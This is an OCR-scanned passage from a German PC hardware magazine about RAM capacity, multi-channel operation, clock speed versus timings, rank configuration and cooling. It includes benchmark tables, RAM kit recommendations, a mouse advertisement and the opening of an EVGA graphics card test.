ne. Die mit Grafikmods verschö- 
nerte Skyrim Special Edition legt 
beispielsweise immer mal wieder 
eine kurze Nachladepause ein, 
wenn man die riesige Spielwelt 
durchstreift. 32 GiByte sind damit 
primär für Spieler interessant, die 
ein größeres Budget haben, für alle 
Fälle gewappnet sein oder gerne 
Multi-Tasking betreiben möchten. 
Aus Preis-Leistungs-Sicht lohnt sich 
diese Speichermenge vorerst nicht. 


Über den Tellerrand 

Falls Sie intensiven Gebrauch von 
Bildbearbeitung, virtuellen Maschi- 
nen und/oder RAM-Disks machen, 
benötigen Sie womöglich deutlich 
mehr als 16 oder 32 GiByte Spei- 
cher. In diesem Fall können Ih- 
nen Herstellerempfehlungen, die 
Erfahrungen anderer Nutzer und 
eigene Beobachtungen weiterhel- 
fen. Photoshop reserviert sich etwa 
standardmäßig 70 Prozent des zur 
Verfügung stehenden Arbeitsspei- 
chers und gibt einen Effizienzwert 
aus, der im Idealfall bei 100 % liegt. 
Niedrigere Werte weisen auf eine 
Auslagerung auf die SSD/HDD 
hin, die sich mit einer RAM-Aufsto- 
ckung vermeiden lassen. 
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Mehrkanalbetrieb bestmoglich nutzen 


\ X Jenn Sie wissen, welche Spei- 

chermenge Sie benótigen, 
sollten Sie planen, wie Sie vom 
Mehrkanalbetrieb profitieren kón- 
nen. Indem der RAM-Controller 
statt einem mindestens zwei, drei 
oder vier Module gleichzeitig an- 
spricht, làsst sich die Transferrate 
deutlich erhóhen. 


Überblick 

Welche Art des Mehrkanalbetriebs 
Sie nutzen kónnen, hángt von der 
verwendeten Plattform ab: 


P Single Channel ist der Basisbe- 
trieb bei der Verwendung ledig- 
lich eines Moduls. Für den Low- 
BudgetSockel AMI steht 
Single Channel zur Verfügung, 
unabhángig von der Anzahl der 
verbauten Module. 

I Dual Channel ist die am häufigs- 
ten genutzte Beschleunigungs- 
technik, die durchgehend in der 
Mittelklasse zum Einsatz kommt. 
Vom Parallelbetrieb zweier Kanä- 
le mit mindestens zwei Riegeln 
kónnen unter anderem die Besit- 
zer von Mainboards mit dem So- 
ckeln AM3(+), ЕМ2(+), 1150, 1151, 
1155 und 1156 profitieren. 

I Triple Channel debütierte 2008 
mit den ersten Core-i7-Prozesso- 


nur 


ren für den Sockel 1366. Für diese 
Technik werden mindestens drei 
Module benötigt. 

I Quad Channel, also die gleichzei- 
tige Nutzung von vier Kanälen mit 
mindestens vier Modulen, steht 
nur für die Sockel 2011 und 2011- 
v3 zur Verfügung. 


Alle der genannten Plattformen un- 
terstützen jeweils auch einfachere 
Mehrkanalverfahren. Auf einem 
Sockel-2011-v3-PC können Sie also 
auch Dual und Triple Channel oder 
mit einem  Sockel-1366-Rechner 
Dual Channel nutzen. 


Kits sind kein Muss 

Wichtig ist in diesem Zusammen- 
hang: Die Fähigkeit zum Mehrka- 
nalbetrieb ist eine Eigenschaft des 
Speichercontrollers, der seit dem 
Athlon 64 beziehungsweise Core i7 
in den Prozessor integriert ist. Im 
Handel angebotene Dual-, Triple- 
oder Quad-Channel-Kits sind ledig- 
lich vom Hersteller für den Mehr- 
kanalbetrieb 
baugleiche Riegel. Diese Produkte 
sind daher zwar empfehlenswert, 
aber kein Muss, um die Vorteile 


zusammengestellte, 


des Mehrkanalverfahrens nutzen 
zu können. Sie benötigen nicht 
einmal Module mit der identischen 


Far Cry 4: Dual Channel wirkt nicht im GPU-Limit 


1.280 x 720 (CPU-Limit) 


3.840 x 2.160 (GPU-Limit) 


2 x 8 GiB, Dual Channel EE 143,7 (+15 %) 
1x 16 GiB, Single Channel FE ШЕШ 124,9 (Basis) 


1.280 x 720 (CPU-Limit), mit Hintergrundlast 


2 x 8 GiB, Dual Channel С 91,3 (+50 96) 
1 x 16 СІВ, Single Channel asi 60,7 (Basis) 


2 x 8 GiB, Dual Channel ISSIƏI IZII€ IƏIG,ISƏIIEII 67,9 (+0 %) 
1 x 16 GiB, Single Channel ESS 67,7 (Basis) 


3.840 x 2.160 (GPU-Limit), mit Hintergrundlast 


2 x 8 GiB, Dual Channel EEE 66,7 (+118 96) 
1 x 16 СІВ, Single Channel Eug 56,7 (Basis) 


System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, DDR4-2400 (15-15-15- 
35 2T), 8 GiByte single-ranked, 16 GiByte dual-ranked, EVGA GTX 980 Ti; Win 10 64 Bit, 
Geforce 359.06 WHQL (HQ), Hintergrundlast 2 x НСІ Memtest (1 GiB) 


Mimi 2 Fps 


» Besser 


Kapazität, wenn Sie sich an einige 
Grundlagen halten. 


Gleiche Kapazität pro Kanal 
Jeder RAM-Slot auf dem Mainboard 
ist einem Kanal zugeordnet. Für 
den optimalen Betrieb muss die in 
allen Kanälen zur Verfügung ste- 
hende Speichermenge identisch 
sein. Für Dual Channel besteht also 
die einfachste Methode darin, zwei 
RAM-Module mit der identischen 
Kapazität in die richtigen Slots zu 
stecken. Bei einer Hauptplatine mit 


vier Steckplätzen sind das oft der 
am weitesten vom Prozessor ent- 
fernte sowie der ihm zweitnächste 
Steckplatz. Üblicherweise gehören 
die beiden inneren Slots zu einem 
Kanal, die beiden äußeren Einbau- 
möglichkeiten zum anderen Kanal. 
Ziehen Sie bei Zweifeln das Main- 
board-Handbuch hinzu. 


Auch mit drei Modulen funktio- 
niert Dual Channel perfekt, solan- 
ge Sie zwei Module mit der halben 
Kapazität des größeren Moduls 


Aida 64 (Kopierrate) 


7-Zip: Ca. 3 GB komprimieren und verschlüsseln 


v5.75.3900 (Bench-DLL 4.2.685-x64) 


2 x 8 GiB, Dual Channel E 32,1 («69 %) 
1 x 16 GiB, Single Channel www 19,0 (Basis) 


v5.75.3900 (Bench-DLL 4.2.685-x64), mit Hintergrundlast 


2 x 8 GiB, Dual Channel Eu 26,8 (+66 %) 
1x 16 GiB, Single Channel En 16,1 (Basis) 


LZMA2-Kompression (Stärke: Ultra), AES256-verschlüsselt 
2 х 8 GiB, Dual Channel Eu 230 (-32 %) 
1 x 16 СІВ, Single Channel aG 336 (Basis) 
LZMA2-Kompression (Stàrke: Ultra), AES256-verschlüsselt, mit Hintergrundlast 


2 x 8 GiB, Dual Channel Eu 273 (-40 %) 
1 x 16 GiB, Single Channel 456 (Basis) 


System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, DDR4-2400 (15-15-15- 
35 2T), 8 GiByte single-ranked, 16 GiByte dual-ranked, EVGA GTX 980 Ti; Win 10 64 Bit, 
Geforce 359.06 WHQL (HQ), Hintergrundlast 2 x НСІ Memtest (1 GiB) 


GB/s 
» Besser 


System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, DDR4-2400 (15-15-15- 
35 2T), 8 GiByte single-ranked, 16 GiByte dual-ranked, EVGA GTX 980 Ti; Win 10 64 Bit, 
Geforce 359.06 WHQL (HQ), Hintergrundlast 2 x НСІ Memtest (1 GiB) 


Sekunden 
< Besser 


Aida 64 (Zugriffszeit) 


Lightroom: 30 Bilder konvertieren (Raw zu Jpeg) 


v5.75.3900 (Bench-DLL 4.2.685-x64) 


2 x 8 GiB, Dual Channel Xu 49,1 (-4 96) 
1x 16 GiB, Single Channel EEE 50,9 (Basis) 


v5.75.3900 (Bench-DLL 4.2.685-x64), mit Hintergrundlast 


2 x 8 GiB, Dual Channel EX 71,6 (-51 96) 
1x 16 GiB, Single Channel XXX 147,3 (Basis) 


87 % SRGB, 3.840 Pixel max. Kantenlänge und schärfen 
2 x 8 GiB, Dual Channel Xu 118 (-14 %) 
1x 16 GiB, Single Channel GG 137 (Basis) 
87 % SRGB, 3.840 Pixel max. Kantenlänge und schärfen, mit Hintergrundlast 


2 x 8 GiB, Dual Channel EX 152 (24 90) 
1 x 16 GiB, Single Channel XXX 200 (Basis) 


System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, DDRA-2400 (15-15-15- 
35 2T), 8 GiByte single-ranked, 16 GiByte dual-ranked, EVGA GTX 980 Ti; Win 10 64 Bit, 
Geforce 359.06 WHQL (HQ), Hintergrundlast 2 x НСІ Memtest (1 GiB) 


Nanosek. 
< Besser 


System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, DDR4-2400 (15-15-15- 
35 2T), 8 GiByte single-ranked, 16 GiByte dual-ranked, EVGA GTX 980 Ti; Win 10 64 Bit, 
Geforce 359.06 WHQL (HQ), Hintergrundlast 2 x НСІ Memtest (1 GiB) 


Sekunden 
< Besser 
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haben. Dann stecken Sie z. B. 1 x 
8 GiByte in einen Steckplatz von 
Kanal A und 2 x í GiByte in zwei 
Steckplätze von Kanal B. Bei vier 
Modulen können Sie nach dem 
gleichen Prinzip vorgehen. Falls 
es nicht möglich sein sollte, alle 
Kanäle mit der gleichen Kapazität 
zu bestücken, dann sollten Sie die 
Module so auf die Steckplätze ver- 
teilen, dass Sie der Idealverteilung 
möglichst nahekommen. Je größer 
der Kapazitätsüberschuss in einem 
Kanal, desto höher ist die Chance, 


dass das System bei einem Zugriff 
auf das langsamere Niveau zu- 
rückfällt. Dieses Prinzip gilt auch 
für Triple und Quad Channel, nur 
müssen Sie bei vielen unterschied- 
lichen Sticks mitunter mehr Kopf- 
rechnen, um die beste Belegung 
herauszufinden. 


Die Vorteile 

Im Alltag bringt Mehrkanalbetrieb 
den größten Nutzen, wenn mehre- 
re Programme gleichzeitig auf den 
Arbeitsspeicher zugreifen. Wenn 


Sie beispielsweise einige Gigabyte 
Daten zur Archivierung kompri- 
mieren und in der Zwischenzeit 
nicht warten, sondern etwas spie- 
len möchten, verhelfen mehr Spei- 
cherkanäle sowohl zu mehr Fps als 
auch einer kürzeren Kompressi- 
onszeit. In Spielen profitieren Sie 
ohne Hintergrundlast aber auch 
dann stark, wenn die Grafikkarte 
nicht die Bildrate begrenzt. 


Der Mehrkanalbetrieb erhöht den 
Speicherdurchsatz deutlich und 


ist praktisch kostenlos, da sich Ein- 
zelmodule und Kits preislich kaum 
unterscheiden. Sehr hohe Gesamt- 
kapazitäten lassen sich sogar erst 
mit mehreren Modulen erreichen. 
Greifen Sie bei einem Neukauf, 
etwa beim Wechsel auf DDR4, 
am besten gleich zu einem Dual-/ 
Quad-Channel-Kit mit zwei/vier 
identischen Sticks. Wenn Sie Mo- 
dule ersetzen oder die RAM-Menge 
aufstocken möchten, dann berück- 
sichtigen Sie das Thema Mehrkanal- 
betrieb vor dem Kauf. 


RAM-Tuning 


Takt wichtiger als Timings 


eben der Speichermenge und 

der Kanalbündelung haben 
auch die Taktfrequenz, die Timings 
und der interne Aufbau der RAM- 
Module eine Auswirkung auf die 
Leistung des PCs. 


Overclocking-Überlegungen 
Die offiziellen Angaben zum un- 
terstützten Speichertakt fallen 
gerade bei Intel-Prozessoren sehr 
konservativ aus. Dadurch kön- 
nen Übertakter, welche die Her- 


Aida 64 (Zugriffszeit) 


v5.75.3900 (Bench-DLL 4.2.685-x64) 


DDR4-3600, 16-16-16-48 ШШЕ 40,1 (-32 %) 

DDR4-3000, 13-13-13-39 Eu 41,8 (-30 96) 

DDR4-3000, 18-18-18-54 Eu 47,1 (-21 %) 
DDR3-2133, 11-11-11-33 E 47,7 (-20 %) 
DDR3-2133, 18-18-18-54 wasi 59,4 (Basis) 


System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, 2 x 8 GiByte single-ran- 
ked, EVGA GTX 980 Ti; Win 10 64 Bit, Geforce 359.06 WHQL (HQ) Bemerkungen: 
Selbst im Latenz-Test liegt DDR4-2133 mit aggressiven 11er-Timings nicht vor DDR4-3000. 


Nanosek. 
Besser 


7-Zip: Ca. 3 GB komprimieren und verschlüsseln 


LZMA2-Kompression (Stàrke: Ultra), AES256-verschlüsselt 
DDR4-3600, 16-16-16-43 Eu 191 (-30 %) 
DDR4-3000, 13-13-13-39 Eu 197 (-28 %) 
DDR4-3000, 18-18-18-54 ww 217 (-20 %) 
DDR3-2133, 11-11-11-33 a u a a w 231 (-15 %) 
DDR3-2133, 18-18-18-54 GSE 272 (Basis) 


System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, 2 x 8 GiByte single-ran- 
ked, EVGA GTX 980 Ti; Win 10 64 Bit, Geforce 359.06 WHQL (HQ) Bemerkungen: Bei der 
Komprimierung hilft schneller Speicher enorm — 30 Prozent Zeitersparnis sprechen für sich. 


Sekunden 
< Besser 


Lightroom: 30 Bilder konvertieren (Raw zu Jpeg) 


87 % SRGB, 3.840 Pixel max. Kantenlänge und schärfen 


DDR4-3600, 16-16-16-48 Xu 112 (-10 %) 
DDR4-3000, 13-13-13-39 EX 113 (-10 96) 
DDR4-3000, 18-18-18-54 Ew 115 (8 %) 
DDR3-2133, 11-11-11-33 Ew 119 (-5 %) 
DDR3-2133, 18-18-18-54 ms 125 (Basis) 


stellervorgabe ignorieren, durch 
RAM-Overclocking viel zusátzliche 
Leistung aus dem System heraus- 
kitzeln. Grundsätzlich lassen sich 
alle Module übertakten, für gute 
Ergebnisse kommt es aber vor al- 
lem auf die verbauten Chips an. Die 
Samsung-Bausteine K4A8G085WB- 
BCPB zählen zu den DDR4-Mo- 
dellen, welche die höchsten Takt- 
frequenzen ermöglichen. Das 
Problem: Die Hersteller sparen mit 
Informationen zu den aufgelöteten 
Bausteinen, sodass ein gezielter 
Kauf schwierig ist. In PCGH-Tests 
geben wir nach Möglichkeit die 
verbauten Chips an, die Aufkleber 
von Corsair und G.Skill lassen bei- 
spielsweise Rückschlüsse auf den 
Chip-Hersteller zu (www.pcgh.de/ 
ram-chips). Bei Modulen von Cru- 
cial sind typischerweise Micron- 
Bausteine installiert, bei Klevv 
hingegen SK-Hynix-Chips. Auf der 
sicheren Seite sind Sie mit gut spe- 
zifizierten, aber auch teureren Kits. 


Glücklicherweise lassen sich fast 
alle günstigen, für DDR4-2133 oder 
DDR4-2400 spezifizierten Module 
auf DDR4-3000 oder zumindest 
DDR4-2666 übertakten. Für diesen 
Taktbereich müssen Sie oft nicht 
einmal an der Spannung schrauben 
oder die Timings entschärfen. Für 
höhere Taktfrequenzen benötigen 
Sie ein wenig Glück bei der Chip- 
güte und eine geeignete Plattform. 
Auch die Bestückung spielt eine 
wichtige Rolle - je mehr Module, 
desto eher tendiert das System zu 
Instabilität. Kaby Lake und Skylake 
eignen sind besser als Haswell-E 
und Broadwell-E, um Taktraten ab 
DDR4-3200 zu erreichen. Die meis- 
ten OC-Riegel unterstützen XMP. 
Wenn Sie im UEFI-Menü ein sol- 
ches Profil laden, läuft der Speicher 
nach dem Neustart übertaktet. 


Timings entscheiden darüber, wie- 
viele Taktzyklen für eine bestimm- 
te Operation vergehen, niedrige 


The Witcher 3: CPU- und GPU-Limit 


1.280 x 720 (CPU-Limit) 


3.840 x 2.160 (GPU-Limit) 


DDR4-3600, 16-16-16-48 FE 143,5 (+40 96) 
DDR4-3000, 13-13-13-33 137,5 (+34 %) 
DDR4A-3000, 18-18-18-54 127,5 (+25 %) 
DDR3-2133, 11-11-11-33 119,0 (+16 %) 
DDR3-2133, 18-18-18-54 5 102,3 (Basis) 


DDR4-3600, 16-16-16-48 MEMME 58,2 (+1 96) 
DDR4-3000, 13-13-13-39 ESS 58,0 (+1 96) 
0084-3000, 18-18-18-54 ESS 58,0 (+1 96) 
DDR3-2133, 11-11-11-33 ESSE 57,9 (+1 96) 
DDR3-2133, 18-18-18-54 ESS 57,6 (Basis) 


System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, 2 x 8 GiByte single-ran- 
ked, EVGA GTX 980 Ti; Win 10 64 Bit, Geforce 359.06 WHQL (HQ) Bemerkungen: Hier 
zählt vor allem die Prozessorleistung, schneller Speicher bringt nur kleine Vorteile. 


Sekunden 
< Besser 


System: System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, 2 x 8 GiByte 
single-ranked, EVGA GTX 980 Ti; Win 10 64 Bit, Geforce 359.06 WHQL (HQ) Bemer- 
kungen: Limitiert die Grafikkarte die Framerate, dann ist RAM-Overclocking wirkungslos. 


Mimi Ø Fps 


> Besser 
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Timings sind daher besser. Übli- 
cherweise sind vier Latenzen, näm- 
lich CAS (CL), RCD, RP und RAS 
hintereinander aufgeführt, etwa 
15-15-15-35. Da es sich um relative 
Werte handelt, die an die Taktfre- 
quenz gekoppelt sind, behelfen 
sich manche PC-Tuner auf der Su- 
che nach der idealen Konfiguration 
damit, anhand der Eckdaten die 
effektive Zugriffszeit ausrechnen, 
etwa so: (CAS-Latenz/halber DDR- 
„Takt“) x 1000 = Zugriffszeit in Na- 
nosekunden 


Wir raten Ihnen allerdings, Ihre Zeit 
nicht für Rechenspiele, sondern für 
Benchmarks wie die gestoppte Zeit 
zum Komprimieren eines Ordners 
zu investieren: Für DDR4-3000 und 
CL18 ergeben sich rechnerisch 12 
Nanosekunden. Eigentlich müsste 
DDR4-2133/CL11 mit 10,3 Nanose- 
kunden die schnellere Lösung sein. 


Wie unsere Benchmarks zeigen, ist 
im Alltag das Taktplus wichtiger. 
Ein Grund hierfür ist, dass bei einer 
Burst-Übertragung nicht nur ein 
einzelner Zugriff, sondern auch ein 
Transfer von Daten stattfindet, der 
bei einem höheren Takt tendenziell 
schneller abgeschlossen ist. 


Dual Rank flotter pro MHz 

Die Anzahl der Ranks beschreibt 
den internen Aufbau der Speicher- 
module. Module mit einer hohen 
Kapazität sind meistens dual- 
ranked. DDR4-Sticks mit 4 GiByte 
sind grundsätzlich single-ranked, 


ranked. Mehr Ranks bringen dank 
Rank-Interleaving ein kleines Leis- 
tungsplus. Für die Geschwindig- 
keit spielt es aber keine Rolle, auf 
wievielen Modulen die Ranks ver- 
teilt liegen. Vier Single-Rank-Sticks 
sind also genau so schnell wie zwei 


DDR3-Sticks mit 8 GiByte dual- 


Dual-Rank-Module. 


(sw) 


Single vs. Dual Rank: Messbarer, aber kein riesiger Unterschied mit zwei Sticks 


Benchmark Ohne Hintergrundlast Mit Hintergrundlast 

Single Rank Dual Rank Single Rank Dual Rank 
Aida64 (Kopierrate) 32,1 GB/s 35,0 GB/s (+9 96) 26,8 GB/s 31,8 GB/s (+19 96) 
7-Zip 230 Sek. 210 Sek. (-9 %) 273 Sek. 249 Sek. (-9 %) 
Adobe Lightroom 118 Sek. 114 Sek. (-3 %) 152 Sek. 143 Sek. (-6 96) 
x264 HD 4,35 Fps 4,38 Fps (+1 96) 3,97 Fps 4,03 Fps (+2 96) 
Far Cry 4 (720p) 143,7 Fps 146,5 Fps (+2 96) 91,3 Fps 96,7 Fps (+6 96) 
Far Cry 4 (2160p) 67,9 Fps 67,9 Fps (+0 96) 66,7 Fps 66,1 Fps (-1 96) 
The Witcher 3 (720p) 119,6 Fps 128,9 Fps (+8 96) 79,3 Fps 88,9 Fps (+12 96) 
The Witcher 3 (2160p) 58,0 Fps 58,0 Fps (+0 96) 57,5 Fps 57,8 Fps (+1 96) 
System: Core i7-6700K @ 4,5 GHz, Asus Maximus VIII Extreme, 2 x 8 GiByte DDR4-2400 (15-15-15-35 2T), EVGA Geforce GTX 980 Ti 
Classified; Windows 10 64 Bit, Geforce 359.06 WHQL (HQ) 


Kühler und Optik, Empfehlungen auf der Folgeseite 


inige Hersteller statten Ihre 

RAM-Module mit großen und 
mitunter auch aufwendig gestalte- 
ten Kühlkörpern aus, manchen Kits 
liegen Lüfteraufsätze bei. Über den 
Zubehörmarkt können Sie eine der- 
artige Ausstattung auch nachrüsten 
- eine gute Investition? 


Gute Kühlung sinnvoll 

Wenn Sie knapp bei Kasse sind eher 
nicht, denn weder DDR3- noch 
DDR4-Module benötigen zwin- 
gend einen Kühler, wie die „nack- 
ten“ Low-Budget-Riegel der meis- 
ten Hersteller beweisen. Dennoch 
sollten Sie die Kühlung des RAMs 
nicht völlig vernachlässigen: Wie 
bei Prozessoren oder Grafikchips 
senken niedrige Temperaturen den 
Verschleiß und erhöhen die Over- 
clocking-Reserven leicht. Die Leis- 
tung kann bei zu schlechter Wär- 
meabfuhr sinken, denn wenn das 
Chipgehäuse 85 °C erreicht, wer- 
den zusätzliche Refresh-Zyklen ein- 
gelegt. Bei solchen Auffrischungs- 
vorgängen werden die Inhalte der 
Speicherzelle ausgelesen und neu 
geschrieben. Damit wird Informa- 
tionsverlusten vorgebeugt, welche 
durch die allmähliche Selbstentla- 
dung der Kondensatoren des RAM- 
Moduls Refresh-Zyklen 
sind also wichtig, blockieren aber 


drohen. 


www.pcgameshardware.de 


einzelne Speicherzellen für einen 
kurzen Moment, in dem sie nicht 
produktiv genutzt werden können. 


Eine durchdachte Gehäusebelüf- 
tung hilft: Bleibt der Innenraum 
kühl, überhitzt auch der Arbeits- 
speicher nicht. Übertakter-RAM ist 
ohnehin fast immer mit Kühlkör- 
pern ausgestattet, mit denen eine 
moderate Überspannung kein Pro- 
blem darstellt. Sofern Ihr Arbeits- 
speicher über einen Temperatur- 
sensor verfügt, können Sie ihn mit 
der Software Thaiphoon Burner 
(www.softnology.biz) auslesen. 
Die Behauptung, dass RAM-Kühler 
keinen oder einen schädlichen Ein- 
fluss haben, ist übrigens falsch. Ein 
gut sitzender Heatspreader senkt 
die Temperaturen messbar. 


... und sonst? 

Es spricht nichts dagegen, beim 
RAM-Kauf auch auf die Optik zu 
achten, doch dabei sollten Sie im 
Hinterkopf haben, dass Sie volu- 
minóse CPU-Kühler und Arbeits- 
speicher mit grofsen Kühlblechen 
aus Platzgründen häufig nicht 
gleichzeitig verbauen kónnen. Für 
aufwendige Beleuchtungssysteme 
sollten Sie natürlich ein Fenster im 
Seitenteil haben und bereit sein, ei- 


nen Aufpreis zu zahlen. 


z “taq 


Firmen wie GEIL und G.Skill bieten seit Kurzem RAM-Module mit RGB-Beleuchtung 
an, die sich via Software an die eigenen Vorlieben anpassen làsst. 


Lüfteraufsätze kühlen prima, brauchen aber viel Platz und sind aus Silent-PCs heraus- 
zuhören — die meisten PC-Spieler können guten Gewissens darauf verzichten. 
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DDRA-RAM für Office, HTPC & Co. 


Zum Surfen, Filme schauen, Bearbeiten von Dokumenten und für wenig 
anspruchsvolle Spiele reichen 8 GiByte mühelos aus. 


Die zwei 4-GiByte-Module des Kits BL$2C4G4D240FSC aus Crucials Ballistix- 
Sport-LT-Serie sind für DDRA-2400/CL16 bei 1,20 Volt spezifiziert und mit einem 
kompakten Heatspreader ausgestattet, der gut zu großen CPU-Kühlern passt. Ein 
paar Euro günstiger, aber nur für 
DDRA4-2133 freigegeben ist das 
Intenso-Kit Desktop Pro 5641152 
(www.pcgh.de/preis/1528390), 
welches keinen Heatspreader 
bietet; das lohnt sich nur, wenn Sie 
auf jeden Euro schauen müssen. 


www.pcgh.de/preis/1320338 


DDR4-RAM für Fps-Jäger 


Übertakter-RAM ermóglicht deutlich hóhere Taktfrequenzen als Stan- 
dardspeicher — dafür wird allerdings ein Aufpreis fällig. 


DDR4-3600 ist mit Skylake- und Kaby-Lake-Prozessoren der K-Serie in der Praxis 
relativ einfach zu erzielen, obwohl die CPUs dafür nicht offiziell freigegeben 
sind. Das Kit G.Skill Trident Z FA-3600C16D-16GTZ überzeugt mit guten 
16-16-16-36er-Timings bei 1,35 
Volt und bietet einen massiven 
Kühlkórper. Günstigere Alternative 
mit ebenfalls 2 x 8 GiByte: G.Skill 
F4-3200C16D-16GVK (DDR4-3200, 
16-16-16-36, 1,35 V) für 140 Euro 
(www.pcgh.de/preis/1337185) 


www.pcgh.de/preis/1374972 


DDR3-RAM für Office, HTPC & Co. 


2 x 4 GiByte reichen oft für den Zweit-PC, sind aber auch zum Aufrüsten 
gut geeignet, falls noch Steckplätze frei sind. 


Hinter Patriots Viper-3-Kit mit der Produktnummer PV38G160C9K stecken 
zwei 4,1 cm hohe 4-GiByte-Module, spezifiziert für DDR3-1600 (9-9- 
9-24) bei 1,50 Volt. Crucials Ballistix-Sport-Kit mit der Produktnummer 
BLS2CP4G3D1609DS1S00CEU 

ist rund 5 Euro teurer, dafür 

mit einem nicht über die 

Platine hinausstehenden Kühler 
ausgestattet und bei mehr 
Händlern auf Lager (www.pcgh.de/ 
preis/723497). 


www.pcgh.de/preis/800341 
DAAAAN “FAAALI 


DDR3-RAM für Fps-Jäger 


In Spielen limitiert zwar oft die Grafikkarte, doch bei reduzierter GPU- 
Last und Alltagsanwendungen bringt schneller RAM oft Vorteile. 


Das G.Skill Trident X besteht aus zwei Modulen mit je 8 GiByte, die für DDR3- 
2400 (10-12-12-31) bei 1,65 Volt ausgelegt sind. Der Kühler sorgt für niedrige 
Temperaturen, durch das Abschrauben des roten Kamms lässt sich die Höhe 
auf 3,9 cm drücken. Gute 
Alternativen, solange der Preis 
stimmt: Corsair Vengeance Pro 
CMY16GX3M2A2400C11R (www. 
pcgh.de/preis/996092) und Adata 
XPG V3 AX3U2600W8G11-DBV-RG 
(www.pcgh.de/preis/1150326) 


www.pcgh.de/preis/764621 
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DDR4-RAM für sparsame Spieler 


16 GiByte sorgen in manchen Spielen für eine deutlich gleichmäßigere 
Darstellung als 8 GiByte — das zusátzliche Geld ist gut investiert. 


Patriots Viper-4-Kit PV416G280C6K punktet mit guten Daten (DDR4-2800, 16- 
18-18-36, 1,20 Volt) zum niedrigen Preis, eine gut erhältliche Alternative ist das 
Crucial-Set CT2K8G4DFS8213 (www.pcgh.de/preis/1155831). Das Single-Rank- 
Päärchen ist aber lediglich für 

DDR4-2133 freigegeben, außerdem — BC GEELEN 

hat es keinen Heatspreader. 

Die Quad-Channel-Version 
CT4K4G4DFS8213 mit 4 x 4 
GiByte liegt bei 100 Euro (www. 
pcgh.de/preis/1148276). 


DDR4-RAM gegen Speicherhunger 


Einzelne Module mit 16 GiByte sind ohne Aufpreis zu haben - bereits 
mit zwei Riegeln haben Sie bei Bedarf auf absehbare Zeit ausgesorgt. 


Corsairs Duo mit der Produktnummer CMK32GX4M2A2666C16R ist für 
DDR4-2666 (16-18-18-35) bei 1,20 Volt spezifiziert und mit kompakten 
Kühlern ausgestattet. Falls verfügbar, können Sie bei Patriots DDR4-2133-Duo 
PVE432G213C4KGY knapp 20 
Euro sparen (www.pcgh.de/ 
preis/1554777). Für Quad-Channel- 
Systeme: Crucial CT4K8GADFS824A 
mit 4 x 8 GiByte und DDR4-2400/ 
CL17 bei 1,20 Volt für 200 Euro 
(www.pcgh.de/preis/1392056) 


www.pcgh.de/preis/1316602 


DDR3-RAM für sparsame Spieler 


In einem zeitgemäßen Gaming-PC sollten heute mindestens 16 GiByte 
stecken – mit diesem Kit hält sich die Investition in Grenzen. 


Crucials Kit BLS2CP8G3D1609DS 1S00CEU aus der Ballistix-Sport-Serie bietet 
zwei Sticks mit je 8 GiByte, die für DDR3-1600 (9-9-9-24) bei 1,50 Volt ausgelegt 
sind. Da der Kühler an der Oberseite nicht übersteht, sind die Regel lediglich 3 
cm hoch und vertragen sich gut 

mit großen Prozessorkühlern. Die 
Overclocking-Reserven sind nach 
unserer Erfahrung gering, DDR3- 
1866 sollte sich aber zumindest mit 
angehobener Spannung (1,65 Volt) 
stabil realisieren lassen. 


www.pcgh.de/preis/739120 


DDR3-RAM gegen Speicherhunger 


Mit 32 GiByte haben Sie Reserven für Multi-Tasking und müssen sich 
um den Speicherbedarf von Spielen keine Sorgen mehr machen. 


Mit 4 x 8 GiByte und einer schnellen CPU kónnen Sie den Plattformwechsel 
um einige Jahre hinauszögern. G.Skills Kit F3-2200C10Q-32GTX ist schön 
schnell (DDR3-2400/10-12-12-31 bei 1,65 Volt), falls Sie sich aber an der 
großen Kühlkonstruktion 

stören oder etwas Geld sparen 
möchten, dann ist das Crucial-Kit 
BLSACP8G3D1609DS1SOOBEU für 
ca. 220 Euro (4 x 8 GiByte, DDR3- 
1600, 9-9-9-24) eine gute Wahl 
(www.pcgh.de/preis/912206). 


www.pcgh.de/preis/764615 
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Einfach unschlagbar! 


Design-Puristen, die keine Abstriche bei den Features machen 
wollen, werden die Sharkoon SHARK ZONE М52 lieben! Die 
Gaming Maus mit ihrer gummierten Oberfläche in sattem 
Schwarz ist ein zeitloser Klassiker ohne Ecken und Kanten - die 
RGB-beleuchtete Unterseite sorgt effektvoll für die nótigen 
Highlights. Ihre symmetrische Form ist perfekt ergonomisch, 
leicht zugánglichen Seitentasten runden das Gesamtpaket ab. 


Im Inneren arbeitet ein leistungsstarker Avago ADNS-9800 
Laser-Sensor, der hochprázise 8.200 DPI erreicht. In der intuitiven 
Gaming-Software kann die Empfindlichkeit stufenweise in 
100-DPI-Schritten individuell angepasst werden. Ebenso bequem 
lassen sich alle acht Tasten der M52 mit zahlreichen Multimedia- 
befehlen, X-Shot-Funktion sowie Makros in Echtzeit belegen. 


RGB 


ILLUMINATION 


SHARKOON SHARK ZONE | A warning for some, an adventure for you. www.sharkoon.de 


Grafikkarten, Kühler und Treiber 


GEFORCE GTX 


Fr READY 
= GE u 
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Precision XOC: Das Tool zeigt die Temperatur aller Sensoren einer ICX-Grafikkarte an. 
Links im Bild: Unter den Taktraten wird jeweils der heißeste Punkt angezeigt. 


Im Video der DVD-Heft- 

version prüfen wir, was 

die EVGA Geforce GTX 

1080 ICX SC2 zu leisten 

imstande ist. Hier erfahren Sie 

alles zur Kühlung, zu den Sensoren und den 
Einstellungsmöglichkeiten. Ein Leistungstest in 
The Witcher 3 (UHD) rundet den Eindruck ab. 


Grafikkarten 


Ein Sensor ist nicht genug: Die Ge- 
force-Spezialisten aus dem Hause 
EVGA führen sinnvolle Neuerungen 
ein. PCGH macht den Test. 


VGA überraschte im Februar 

mit „Interactive Cooling 
Xtreme“ (ICX): Anstatt nur die 
Kühlung gegenüber dem Vorgän- 
gerdesign ACX 3.0 zu überarbeiten, 
liefert der Hersteller umfassende 
Überwachungsfunktionen. Insge- 
Temperatursensoren 
auf der Grafikkarte sorgen dafür, 
dass keine Hitzequelle unbemerkt 
bleibt. Die Amerikaner haben laut 
